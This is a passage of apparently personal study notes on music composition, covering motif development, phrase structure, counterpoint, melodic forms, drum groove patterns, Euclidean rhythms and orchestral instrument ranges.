  • Rhythmic transformation (Additive/subtractive): Where only specific notes are lengthened/shortened.
  • Metric displacement: Move a motif to start on a different beat. For example if it started on the 1st beat of a bar, it could be moved to the 2nd instead.
  • Time signature change: With our without rhythmic transformation.
  • Accentuation: Inserting accents at either regular intervals or irregular intervals.
• Melodic variation:
  • Sequencing: Moving a motif up or down chromatically or diatonically (Changing some intervals of the motif to ensure we are still in key).
  • Melodic inversion: Interval remain the same but the direction they move in swaps (ascending to descending and viceversa). This could also be done exactly or diatonically.
  • Retrograde: Playing the motif backwards. This can happen in three ways:
    • Complete retrograde: The motif is played backwards exactly.
    • Rhythmic retrograde: The pitch is the same but the rhythm is inverted.
    • Melodic retrograde: The rhythm is the same but the pitch is inverted.
  • Fragmentation: Break a motif into smaller parts that can be moved, replaced or changed.
  • Expansion/contraction: Increase/decrease the interval between two notes in the motif.
  • Embellishment: Adding decorative tones, which may make necessary to change the value of some of the other notes or remove them to accomodate for the addition.
  • Reduction: Notes are removed from the original motif.
  • Reconstruction: A motif that has previously being reduced is presented again with new decorations.

A melody consists on a series of musical phrases. Phrases are typically longer and express a complete melodic idea with a beginning, development and end. Phrases can be categorized as 1) mono-motivic vs poly-motivic phrases or 2) question vs answer phrases.

The beginning section of a phrase establishes the motivic material (it can be a variation of the primary motif of the piece). During the development of the phrase is where we encounter the main differences between categories.

In mono-motivic phrases, a single motif is developed as previously described with the goal of getting closer or reaching a “local peak”, the purpose of the phrase. The “local peak” is the moment of high/low intensity that culminates the different musical parameters (rhythm, pitch, harmony, etc.). The ending of mono-motivic phrases happens after the peak, ending the phrase with some musical punctuation (more on that later).

Poly-motivic phrases contain more than one motif (typically two, but can have more). These phrases typically don’t focus on a local peak, but instead walks towards the additional motifs from the one introduced on the beginning. Each of the motifs can be further developed in later phrases. The ending happens at after or during the final motif and is also established using musical punctuation.

Question vs answer is a typical construction in music, where a musical phrase (question) presents an idea but it doesn’t feel complete when it ends. A later phrase (answer) can use the same ideas presented on the question but making a statement much more final. This concept is a bit abstract when described like this, but musical punctuation help us identify or write question or answer phrases. Every ending section must contain at least two “answer” or two “question” parameters. The following are some “answer phrase” parameter traits, and in general “question phrase” traits are opposite to them (down vs up, etc.).

• Melodic punctuation:
  • Smooth the ending, using smaller intervals.
  • Moves down in pitch.
  • Ends in a familiar register (don’t move to new octaves).
• Harmonic punctuation:
  • Resolve to the tonic.
  • Reinforce a cluster chord with an octave or V interval in the lower two voices.
  • Only use consonant intervals between harmonic voices.
  • End a stepwise baseline with a leap.
  • Highest and lowest voices in the harmony move towards each other.
  • Slow down the harmonic rhythm near the end of the phrase.
• Rhythmic punctuation:
  • Slows down the rhythm.
  • Ends on a strong beat.
  • Pause momentarily.
• Dynamic punctuation:
  • Decrease in volume.
• Texture punctuation:
  • Reduce the number of instruments playing.
  • Reduce the number of registers being used.

As each phrase have a “local peak”, phrases can be grouped together into a paragraph/section. These sections have their own “section peaks” and when all put together in a song, the sections form a peak of their own (the climax of the song). In a paragraph, the phrases must use similar motivic and thematic material. The thematic material of the next section must build on different material. Paragraphs tell different parts of the same story. It is generally a good idea of starting compositions with the climax of the song in mind, since the different phrases and sections must build to it.

Chromatic inversion

Chromatic inversion is the process of turning a melody into another by inverting the direction of the intervals of an existing motif. For example in a melody with A C B A we move up a bIII, down a bII and down II. If we instead move down bIII, up bII and up II we get A F# G A. This technique could be used to generate new ideas from existing songs or to create motif variations for development within a single piece.

Counterpoint

Music is composed in counterpoint when multiple melodic voices have lines that are independently of one another, sound good independently and when paired together. Widely used in the Baroque period by Bach, Hayden et al. To maintain independence, we want to avoid lines that when played together form consecutive 5ths or octaves. Sometimes, however this unification effect can be used, specially when finishing on a V-I cadence. This means we can have:

• Parallel motion: The voices move the same number of intervals (a major 3rd). For example, if the “cantus firmus” (CF) or initial melody goes from G to E (minor third), the notes from another voice has to move the same amount. If we can’t move the exact same interval lest we go out of key, but we are close enough, we call this “similar motion”. Both of these are considered “direct motion”.
• Oblique motion: The fixed melody changes in pitch but the counterpoint remains stationary.
• Contrary motion: Two voices move in opposite directions, that is, one voice moves down and another one moves up.

Once of the techniques that we can use is to stagger the voice movement. For example, if a voice is moving then another one awaits. Let’s explore some guidelines for classical counterpoint. First of all, it is normally classified in several “levels” (1-5) in order of increasing complexity. Counterpoint is typically studied in exercises.

• The CF always start and end on the root note.
• The I, III and V scale degrees are considered stable/consonant. II, IV and VI have a tendency to resolve down. The VII tries to resolve down.
• We can have three types of intervals:
  • Perfect consonance (I, V, VIII). Try to avoid using these more than once in a row, since they put a stop to the melodic rhythm.
  • Imperfect consonances (III, VI, X). The most useful, voices sound in agreement but they create a smooth melodic rhythm.
  • Dissonances (II, IV, VII). Unstable, they are very good for creating voice leading independance. Not used in 1:1 counterpoint.
• Leaps wider than a 3rd tends to turn to resolve in the opposite direction.
• If the counterpoint melody starts above the CF, it can start on the 1st, 3rd, or 5th of the scale. If it starts below the melody, serving as a baseline, it must start on the I.
• Try to use contrary motion, oblique motion, similar motion, and parallel motion in that order of priority.
• We want an unpredictable type of motion to create interest.
• Level 1 (1:1 counterpoint):
  • For every note in the CF, only one note is added to go with it.
  • No dissonant harmonic intervals.
  • Don’t use direct motion to a perfect consonance.
  • A suggested approach is to start with the ending, since the final cadence is already known, then pick a starting point that allows both melodies to develop, and make sure both melodies “peak” (reach their highest note) at different times.
• Level 2 (2:1 counterpoint):
  • Add two notes for every note of the CF.
  • We can start thinking on accentuation as well. A 2/2 typically follows a D-U-D-U…, where the downbeat (D) is accentuated and the upbeat (U) is not, which is what we dind in 2:1 counterpoint (Duple meter).
  • Consonance intervals may happen on either the D or the U.
  • We can use dissonant intervals as passing tones (must occur on the upbeat and approached and left by step motion in the same direction).
  • Avoid parallel perfect intervals (V, VIII) in consecutive downbeats, but can be used in consecutive upbeats.
  • No tone repetitions in 2:1 counterpoint, as this could be considered 1:1.
  • Perfect unisons are allowed on the upbeat.
  • Can begin as in 1:1 but also with a silence.
• Level 3.1 (3:1 counterpoint):
  • Composed in 3/4 meter (D-U-U-D-U-U…) with 3 notes per CF note.
  • As before, the dissonances can go on the upbeats (U).
  • In addition to the dissonant passing tone, here we can have a dissonant neighbor tone. These are dissonant tones approached by a step by left by a step in the opposite direction, instead of the same one.
  • In summary: consonance on any beat, dissonant passing tones on beats 3 or 3 and dissonant neighbor tones only on beat 2, and we can use embellishing tones that form a 5-3-5 or 6-3-6 pattern. It should end on a 6-5-6-1 or 3-5-6-1 cadence if the counterpoint is above or a 5-4-3-1 or 3-4-3-1 if below.
• Level 3.2 (4:1 counterpoint):
  • Composed in 4/4 meter (D-U-U-U,D-U-U-U…) with 4 notes per CF note. The downbeat is the same as before, containing consonant intervals only, beats 2 and 4 are the weakest and can have dissonances or consonancesi. Beat 3 is typically accented and usually form consonances but is capable of having dissonances under certain circumstances.
  • Dissonant neighbours are still not allowed on the final beat of a measure (Beat 4 in this case).
  • We can have accented dissonances (beat 3) as passing tones or neighbour tones when beats 2 and 4 are perfect consonances.
  • We can have two dissonances on beats 2 and 3 (double neighbour).
• Level 4 (Suspensions):
  • A silence in the first beat where each counterpoint tone is hold by the same amount as the CF, creating syncopation.
  • The counterpoint note must be prepared as a consonance on the previous upbeat.
  • Resolves down by step to consonance on subsequent upbeat. Typically 7-6-1 (above) or 2-3-1 (below).
• Level 5 (Florid counterpoint):
  • The combination of all previous techniques in 4/4 time, as with 4:1, with free rhythm.
  • Suspension elaborations: When we change the ending note of a suspension with two quarter notes. We can have repetition or anticipate the tone of resolution. We can also leap to an innervoice chord member as embelihsing tone. We can also use 8th note elaborations.
  • Eight-note fills: Fill the span of a 4th ascending/descending and occurring on a weak beat (2 or 4).
  • We can also use dotted half-notes.
  • Try to have a rhythmic arc, blending different durations instead of having clusters of rhythms. Rhythm arcs heighten or slows the intensity of a melody.

A contemporary approach

As with the classical approach, we need:

• Cantus firmus (CF): The original melody
• Counterpoint line (CP): A new melodies written to compliment the CF

The CF and CP lines must be rhythmically independent while being rhythmically and harmonically complementary. A CP line should try to offer rhythmic contrast to the CF keeping the 1:2, 1:3 and 1:4 ratios in mid.

We need to try to keep “consonant” intervals between melodic lines on strong beats and where all notes start at the same time.

• Consonant: bIII, III, IV, V, #V, VI, VIII
• Dissonant: bII, II, IV, bV, bVII, VII

With regards to motion:

• Contrary motion: Voices move in opposite direction. Add energy and highlight independence.
• Parallel: Voices move in the same direction by the same interval. Use with care, since it removes independence.
• Similar: Voices move in the same direction by different intervals. Creates unity without the issues of parallel movement.
• Oblique: One voice moves another doesn’t. Adds energy but not as much as contrary motion.

Suggested process

• Start with CF on 4/4 with strong beats on 1 and 3.
• Add half notes starting on each strong beat to create a CP line draft, focusing on maintaining consonant intervals on notes that start at the same time. Keep an eye out for possible motifs.
• Embellish the draft by adding notes without worring about consonance or dissonance so long as the starting point of consonant intervals don’t change and any time we add a note starting at the same time as another in the CF make sure they form a consonant interval.
• Focus on “sounding good” instead of the academic approach (e.g. forbiding P5 parallel movements).

The period form

The “period form” is typically an 8-bar form. The first two bars have a basic idea, the next two bars have a contrasting idea, the next two restate the basic idea and it closes with a 2 bar cadence.

Typically the basic idea is harmonically stable, preferring the “tonic”. The contrasting idea could be a response to the basic idea, or a variation of it. The contrasting idea should feel unresolved (the first 4 bars really) and feel like a question, which will be answered by the final half of the piece. When repeating the basic idea, we can add some variation, but ideally the beginning should stay the same or be similar. The cadence should feel like a strong sign of punctuation and the form should feel like we are ready for a repetition or something new. The cadence should generally do the opposite as the contrasting idea, for example if the contrast ended on a V we want to have a I chord, or the other way around.

The sentence form

The “sentence form” is an 8-bar form. Starts with a 2 bar basic idea, which is repeated in the next 2, with or without variation. Bars 5-6 are called the “continuation” and the last 2 bars is a cadence. The continuation have more movement, more notes, more pitch height, more harmonic rhythm, etc. Very similar to the period form, but where the period form feels more stable, the sentence form can help add movement and momentum to a piece.

The REPS method

• (R)epetition at the beginning or the end. Repetition at the end almost always work, specially when creating decepting cadences. Repetition at the start works, but we must be careful not to make things dull, for example we can echo other voices in a call-response way.
• (E)xtend motives and ideas. Works well in all sections, but specially on the middle section.
• (P)ause. Wait on a silence for longer, for example an extra bar or so. At the beginning could be done by false starts also, where the melody takes a couple of tries before getting started. At the ending, but could be done before we start a final cadence. We can also do it at the end by extending the final bar into multiple ones, building suspense on the cadence. At the middle, pausing can be detrimental, as it stops the development momentum.
• (S)tudy other pieces or music and see how are they doing things and try to use these ideas in your own composition.

A melodic skeleton

A melodic skeleton can be used as a cantus firmus or a base to build a melody by adding rhythm, variations and adornments.

1. Choose an opening pitch from the I chord. Furthermore we can choose the root, third or fifth of the I chord. For example C major, we can start with C, E or G.
2. Choose a melodic cadence (last two notes). Typically 2-1 or 7-8. In C major, D to C or B to C.
3. Draw the contour of your melody, i.e. the peaks and valleys or high/low notes in our melody. Nothing specific, just vibes.
4. Write following the contour.
   • Aim for a line length of 9-14 notes adding 4-5 notes at a time. This is to avoid the melody to feel disjointed.
   • Balance steps and leaps.
   • Prepare your wide leaps by either leaping up and resolving down (B A E) or steping down and then leaping up (A E D).
   • Avoid tritone jumps or line of straight notes that end in the tritone (F# G A B C).
   • Make sure you don’t use the same tone more than 3 times in the whole line.
   • The line shouldn’t reach the highest (apogee) and lowest (perigee) point more than once.
   • Try not to approach the apogee by a leap, but it is ok for perigee.

Resources

• Melody for Composers Series
• How To Use NEGATIVE MELODY To Write Beautiful Music [Negative Harmony]
• A counterpoint crash course in 17 minutes
• How to Compose 1:1 Counterpoint || Tonal Voice Leading 1
• How to write longer music with the REPS method
• How to write a melody 1: Period
• Sentence form in music composition
• Counterpoint made simple
• This Skeleton Can Write a Better Melody Than You

Rhythm

Rhythm should vary across sections of a song, but keeping the general groove. Fills are used to bridge sections or phrases and add extra flavor to the percussion. Here are some common rhythmic grooves and ideas in different styles.

Four on the floor

            BEAT
INSTRUMENT |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK       |x| | | | | | | |x| | | | | | | |x| | | | | | | |x| | | | | | | |
SNARE      | | | | |x| | | | | | | |x| | | | | | | |x| | | | | | | |x| | | |
HH-C       | | |x| | | |x| | | |x| | | |x| | | |x| | | |x| | | |x| | | | | |
HH-O       | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |x| |

The trap beat

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | | | | | | |x| | | | | | | | |x| | | | | | | | | | | |x| | | | | | | | | | | | | | | | | |
SNARE       | | | | | | | | | | | | |x| | | | | | | | | | | | | | | | | | | | | | | |x| | | | | | | | | | | |
HH-C        |x| | |x| | |x| | |x|x|x| | | |x| | |x| | |x| | |x| | |x| | |x| | |x| | |x| | |x| | |x| | |x| | |

Bo diddley beat

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | |x| | | |x| | | |x| | | |x| | | |x| | | |x| | | |x| | | |x| | |x| |x| | | |x| | |x| | | |
SNARE       | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |x|x| | |x| | | |x| | | |x| | | |x| |
TOM-M       |x| | |x| | |x| | | |x| |x| | | |x| | |x| | |x| | | |x| |x| | | | | | | | | | | | | | | | | | | |
TOM-L       | |x|x| |x|x| |x|x|x| |x| |x|x|x| |x|x| |x|x| |x|x|x| |x| |x| | | | | | | | | | | | | | | | | | |
HH-C        | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |x| |x| |x| |x| |x| |x| |x| |x| |

Boom bap

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x|x| | | | | | |x|x| |x| | | | |x|x| | | | | | |x|x| |x| | | | |
SNARE       | | | | |x| | |x| | | | |x| | |x| | | | |x| | |x| | | | |x| | |x|
HH-C        |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |

Impeach the president

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | | | | |x|x| |x| | | |x| |
SNARE       | | | | |x| | | | | | | |x| | | |
HH-C        |x| |x| |x| |x|x|x| | | |x| |x| |
HH-O        | | | | | | | | | | |x| | | | | |

Iconic 8ths

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | | | | | | | |x| | | | | |
SNARE       | | | | |x| | | | | | | |x| | | |
HH-C        |x| |x| |x| |x| |x| |x| |x| |x| |

12/8 Feel

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
RIDE        |x| | | | | | | | | | |x|x| | | | | | | | | |x| |x| | | | | | | | |x|x| |x| | | | |x| | | | | |x|
SNARE       | | | | | | |x| | | | | | | | | | | |x| | | | | | | | | | | |x| | | | | | | | | | | |x| | | | | |
RIDE        |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |

Shuffle

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
TOM-L       |x| |x| | | | | |x| |x| | | |x| |
SNARE       | | | | |x| |x| | | | | |x| | | |
HH-C        | | | | |x| | | | | | | |x| | | |

Swing

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
HH-F        | | | | |x| | | | | | | |x| | | |
RIDE        |x| | | |x| | |x|x| | | |x| | |x|

Motown

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | | | | | | | |x| | | |x| |
SNARE       |x| | | |x| | | |x| | | |x| | | |
HH-C        |x| |x| |x| |x| |x| |x| |x| |x| |

Metal (Straight 16th)

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|
SNARE       | | | | |x| | | | | | | |x| | | |
HH-C        |x| | | |x| | | |x| | | |x| | | |

Bossa

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | | | |x| |x| | | | | |x| |x| | | | | |x| |x| | | | | |x| |
CLAVE       |x| | | | | |x| | | | | |x| | | | | | | |x| | | | | |x| | | | | |
HH-C        |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | |x|x| | |x|x| | |x|x| | |x|
RIMSHOT     |x| | |x| | |x| | | |x| | |x| | |
RIDE        |x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|

Disco

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | |x| | | |x| | | |x| | | |
CLAPS       | | | | |x| | | | | | | |x| | | |
HH-O        | | |x| | | |x| | | |x| | | |x| |

Levee Break

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x|x| | | | | |x| | |x|x| | | | |
SNARE       | | | | |x| | | | | | | |x| | | |
HH-C        |x| |x| |x| |x| |x| |x| |x| |x| |

The funky drummer

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| |x| | | | | | | |x| | |x| | |
SNARE       | | | | |x| | |x| |x| |x|x| | |x|
HH-C        |x| |x| |x| |x| |x| |x| |x| |x| |
HH-O        | | | | | | | |x| | | | | |x| | |

Son clave

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | |x|x| | |x|x| | |x|x| | |x|
RIMSHOT     |x| | |x| | |x| | | |x| |x| | | |
RIDE        |x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|

Mardi gras

            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | | | | | | | |x| | |x| | |
SNARE       | | | | |x| | | | |x| | | | | | |
HH-C        |x| |x| |x| |x|x|x| |x| |x| |x|x|
BELL-H      |x| |x| | |x| | | |x| | |x| | | |
BELL-L      | | | | |x| | |x| | |x| | |x| |x|

Polyrhythms vs polymeters

A polymeter is when we have multiple sequences of different lengths playing together at the same pulse. For example a 4 note sequence and a 5 note sequence, all quarter notes. Since they have different lengths, they will eventually sync up after a number of repetitions.

A polyrhythm is when we have two different sequences of different durations (though evenly spaced) but that they both take the same amount of time, thus are synced on the 1st beat. For example a quintuplet and a triplet playing at the same time will both take the same amount of time to complete. Naturally the quintuplet notes will play faster. The most common ones are 3:2 and 4:3 polyrhythms.

Euclidean rhythms

Euclidean rhythms come from the idea of distributing K beats into a measure of N beats as evenly as possible. The terminology is typically written as E(K,N,R) where R is the rotation of the pattern. For example a four-in-the-floor beat could be noted as E(4,16,0):

E(4,16,0) = [x...x...x...x...]
E(4,16,1) = [...x...x...x...x]
E(4,16,2) = [..x...x...x...x.]
...

Depending on the length of the note that we use for each beat, common divisors are equivalent. If instead of 1/8 notes per beat we use 1/4:

E(4,8,0) = [x.x.x.x.]

To generate interesting patterns, it is often preferable to use patterns in which K doesn’t divide by N, such as E(5,8) or E(9,16). The fun of these types of patterns it to combine multiple combinations of rhythms for different instruments, creating groovy polyrhythms. They are not limited to percussive elements and can be used in tonal leads and bass elements. They are very fun to use in generative music or as a compositional tool.

A lot of world music’s rhythms can be described in terms of Euclidean rhythms patterns. Below you can see a reference of different patterns and how they relate to music from different cultures. Not including rotations for simplicity.

             |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
E(2,5,0)     |x| |x| | |                         Khafif-e-ramal, Thaikovsky (Symphony No. 6), Brubeck (Take Five)
E(3,5,0)     |x| |x| |x|                         Rumanian folk-dance
E(5,6,0)     |x| |x|x|x|x|                       York-Samai
E(3,7,0)     |x| |x| |x| | |                     Ruchenitza, Pink Floyd (Money)
E(4,7,0)     |x| |x| |x| |x|                     Ruchenitza
E(5,7,0)     |x| |x|x| |x|x|                     Nawakhat
E(3,8,0)     |x| | |x| | |x| |                   Cuban tresillo
E(5,8,0)     |x| | |x|x| |x|x|                   Cuban cinquillo, Spanish tango, Al-saghilal-sani
E(7,8,0)     |x| |x|x|x|x|x|x|                   Tuareg rhythm in Libya
E(4,9,0)     |x| |x| |x| |x| | |                 Aksak, Brubeck (Rondo a la Turk)
E(5,9,0)     |x| |x| |x| |x| |x|                 Agsag-Samai
E(4,11,0)    |x| | |x| | |x| | |x| |             Zappa (Outside Now)
E(5,11,0)    |x| |x| |x| |x| |x| | |             Mussorgsky (Pictures at an Exhibition)
E(4,12,0)    |x| | |x| | |x| | |x| | |           Flamenco clapping (Fandango)
E(5,12,0)    |x| | |x| |x| | |x| |x| |           Venda clapping
E(7,12,0)    |x| |x|x| |x| |x|x| |x| |           West African bells
E(4,16,0)    |x| | | |x| | | |x| | | |x| | | |   Four in the floor
E(5,16,0)    |x| | |x| | |x| | |x| | |x| | | |   Bossa Nova
E(7,16,0)    |x| | |x| |x| |x| | |x| |x| |x| |   Samba, Clapping from Ghana
E(9,16,0)    |x| |x|x| |x| |x| |x|x| |x| |x| |   Samba, bells from Central African Republic

Konnakol/Takadimi

Sometimes is useful to learn to vocalize complex rhytms. The takadimi system can help with that. In essence, we use combinations of single syllables to denote beat divisions. Note that the takadimi system is the western interpretation of the Konnakol.

Konnakol

From the Wikipedia:

• 2 subdivisions (Chatusra 1/2 Speed): Tha Ka
• 3 subdivisions (Tisra): Tha Ki Ta
• 4 subdivisions (Chatusra): Tha Ka Dhi Mi
• 5 subdivisions (Khanda): Tha Dhi Gi Na Thom
• 6 subdivisions (Tisra Double Speed): Tha Ka Dhi Mi Tha Ka
• 7 subdivisions (Misra): Tha Ka Di Mi Tha Ki Ta
• 8 subdivisions (Chatusra Double Speed): Tha Ka Dhi Mi Tha Ka Jho Nu
• 9 subdivisions (Sankirna): Tha Ka Dhi Mi Ta Dhi Gi Na Thom
• 10 subdivisions (Khanda Double Speed): Tha Ka Tha Ki Ta Tha Dhi Gi Na Thom, or Tha Ki Ta Dhim†2 Tha Dhi Gi Na Thom

Takadimi

• Ta: 1/4 note
• TaDi: 2 1/8 notes
• TaKaDiMi: 4 1/16 notes
• TaKiDa: 1/4 triplets
• TaKaDiMiTi: quintuplet
• TaVaKiDiDaMaTi: septuplet

More complex rhythms can be seen as a combination of these.

Resources

• How to write drum parts (for non drummers)
• 10 Popular Drum Patterns Every Producer Should Know
• Polyrhythms vs polymeters
• Euclidean Rhythms paper (Godfried Toussaint)
• Digging in to Euclidean Rhythms (Sound + Voltage)
• Takadimi short guide
• Vocalize your rhythms to internalize them

Orchestration

In a modern orchestral setting, we have 4 main sections of instruments:

• Strings: Violin, viola, chello, bass, etc.
• Brass: French horn, trumpet, trombone, tuba, etc.
• Woodwinds: Flutes, single reeds, double reeds.
• Percussion: Idiophones, membranophones, aerophones, chordophones.

Of course, we can also make use of modern devices like synths and treat them accordingly. These knowledge transfers regardless of available instruments.

We also divide orchestral music into the following building blocks:

• Melody: The general tune/shape of the music. Typically belongs to the foreground material, which is content that is the most important for the listener to pay attention to.
• Harmony: Typically is background material that creates the sonic texture of our piece. Includes the harmonic bed (chord progression), harmonic foundation (bass line), harmonic voicing (melody-like harmony) and comping (Provides harmony as well as rhythm).
• Countermelody: Floats between background and foreground whenever is needed. It is sometimes called a “mid ground”.

In general we want to avoid mixing foreground and background material, otherwise the music will sound directionless. We can follow two guidelines for this:

1. Foreground material should be performed in a strong/appropriate register for the instruments performing them.
   • Depends on which instrument we are using. This means the range where the instrument has the most power and can be heard the easiest.
   • We need to be deliberate about our instrument choices.
2. Pay attention to differentiating the foreground and background material with the PDART method:
   • Pitch: Separate foreground/background by placing them in different pitch registers. Traditionally, melody in higher register than harmony.
   • Dynamics: Foreground should be louder than background on average. We can play around with this but must be deliberate.
   • Articulation: For example, melody can be staccato and background legato. Not so important compared with the previous two, but still worth considering.
   • Rhythm: Foreground and background should make use of different rhythms.
   • Tone color: We want our background/foreground to use different tone colors/sound qualities. Examples:
     • Using strings for foreground and brass for background.
     • Muted strings in background, unmuted in foreground.
     • String section in background, solo player in foreground.
     • Pizzicato strings in background, bowed in foreground.

Voicings and note priority

There are many ways of arranging/voicing chords, but because of the overtone series, it tends to sound better to have open voicings in the lower registers and close voicings in the upper registers. This would improve clarity, but if we want to make our music sound muddy that is also ok! In any case, the open voicings in the lower registers is almost always used, but the closed voicings in the upper registers is more of a suggestion.

We can use the 1537 rule for reinforcing (doubling) different notes of a chord. In other words, doubling the root or fifth of a chord will be more clear than doubling the thirds or 7ths intervals. For 1st inversion chords, we can avoid using the 3rd in upper voices, since it is already in the bassline.

Strings

The largest section of the orchestra. It is not uncommon for half the players in an orchestra to be in the string section. All of these instruments sound very similar and a variety of techniques are available to obtain different sounds. They can do melody, harmony, rhythm and texture and obtain a variety of dynamics from very soft (ppp) to very loud (fff).

They all have 4 strings and are tuned to a different fundamental pitch. Because of the fretless nature of these instruments, when playing solo instruments it is more difficult to perceive the discrepancies in tuning. Conversly, if we have 2 instruments playing exactly the same part it may be a bit jarring, but the more instruments we add this difference gets averaged by the human ear. The string section have 4 different instruments and organized in 5 sections:

• Violin (I & II)
  • Tuning: G3, D4, A5, E5
  • Range:
    • Violin section: G3-E7
    • Violin solo: G3-B8
    • Pizzicato range: G3-E6
  • Great for melodies, but consider:
    • E5+ is good for any melodic line.
    • E5- is best for quieter moments.
• Viola
  • Tuning: C3, G3, D4, A5
  • Range: C3-A7
  • Good for solos, melodies and countermelodies. Best on:
    • C3-C4 (lowest octave) is the most ideomatic.
    • C5+ has the greatest carry power
• Cello
  • Tuning: C2, G2, D3, A4
  • Range: C2-G5
  • Versatile, both for lower ranges and higher ones.
  • For melodies:
    • E4+ ideomatic.
    • E4- possible but depends on the rest of the orchestration.
• Double bass
  • Tuning: E1, A2, D2, G2
  • Range: C1-Bb4
  • Used for bass lines and foundational harmonies. Melodies are possible specially when doubled with tuba and contrabassoon (unison) and cello and bassoon (one octave above).

We generally write for strings using 4-part/SATB writing. As follows:

• Instruments
  • Soprano: 1st violin.
  • Alto: 2nd violin.
  • Tenor: Viola.
  • Bass: Cello and double bass in octaves.
• Default process
  • Asign melody to one of the voices (typically soprano)
  • Write bass line in the bass voices.
  • Assign remain chord tones to the alto and tenor voices, trying to avoid as much movement as possible.
• Harmonic voicing process
  • Asign melody to one of the voices (typically soprano)
  • Write bass line for the double bass.
  • Treat the cello, viola and violin II their own independent lines.
    • Stick to chord tones as much as possible.
    • Create variations of the full chord between the three voices and the bass line as much as possible.
    • Use as much repetition in each voice as possible.

Note that string instruments can play chords, typically as double stops (or succession of 2 double stops). We need to account for real instruments for this, so each note in a chord must be performed in its own string and within reach of human hands. You can use a guitar or a grid controller in note mode to check the possibility.

We also can divide the string section in equally sized groups and have more voices by playing “divisi”. This means for example that half of the violas will play a “C” and the other half a “G”. This of course, makes the sound quieter, since there are less players playing the same note.

Brass

Brass are wind instruments. Traditionally consists of (but is not limited to):

• 4 horns
• 3 trumpets
• 3 trombones
• 1 tuba

Organized in 3 sub-sections that will split their roles between harmony, melody and bass:

• Trumpets & trombones
• Horns
• Tuba

These instruments are less homogeneous than the strings. Each instrument have different sonic qualities. Brass instruments are quite strong sounding both in volume and power. They are consturcted with various lengths of metal tubing, a mouthpiece and valves/slides to control the length of the tubing. Because of their construction and usage we need to consider the following guidelines:

1. Higher pitches will be generally louder.
2. Volume can and will change the tone color.
3. Higher/louder pitches are more demanding to produce than lower/quieter ones. We need to account for the stamina of the performers.

In terms of harmony consider that for brass open voicings in upper registers create more ambience and presence, whereas close voicengs have more power. Commonly, tubas where handle bass and trombones/horns the chords. Brass can help provide a sense of growth and climax.

• Horn (in F)
  • Versatile instrument. Blends well with woodwinds.
  • The sound it produces will sound a perfect fifth lower than the note it was written.
  • Range:
    • Sounding range: B2-F5
    • Written range: F#2-C6
    • Melodic range: F3-C5
• Trumpet (in C or Bb)
  • The soprano instrument of the brass family
  • Range:
    • Sounding range (Bb): E3-Bb6
    • Written range (both): F#3-C6
• Trombone (Tenor and Bass)
  • The tenor/bass instrument of the brass family.
  • The bass tenor often doubles or replaces the tuba.
  • Closely related to the trumpet.
  • Range:
    • Sounding range: E2-Bb5 (tenor) Bb2-D4 (bass)
• Tuba
  • Lowest sounding brass instrument.
  • They mainly provide the bass line.
  • Range: Bb1-D4

Woodwinds

It is the least powerful section of the orchestra, but it has available a wide variety of tone colors and timbre. In terms of tone colors we encounter the sub-sections of:

• Flutes
  • Woodwinds that don’t have a wooden reed in the mouth piece. Piccolos and flutes are the most common.
  • Most powerful in their higher registers.
  • Piccolo:
    • Range:
      • Sounding range: D5-C8
      • Written range: D4-C7
    • Different tone colors:
      • High register is piercing, requires a lot of stamina and can be easily heard. Best in strategic bursts.
      • Middle register is strong, bright and clear.
      • Low registers are haunting and intimate, best for quiet moments and doubling other instruments for color.
  • Flute:
    • Range: (B4) C4-D7
    • Different tone colors:
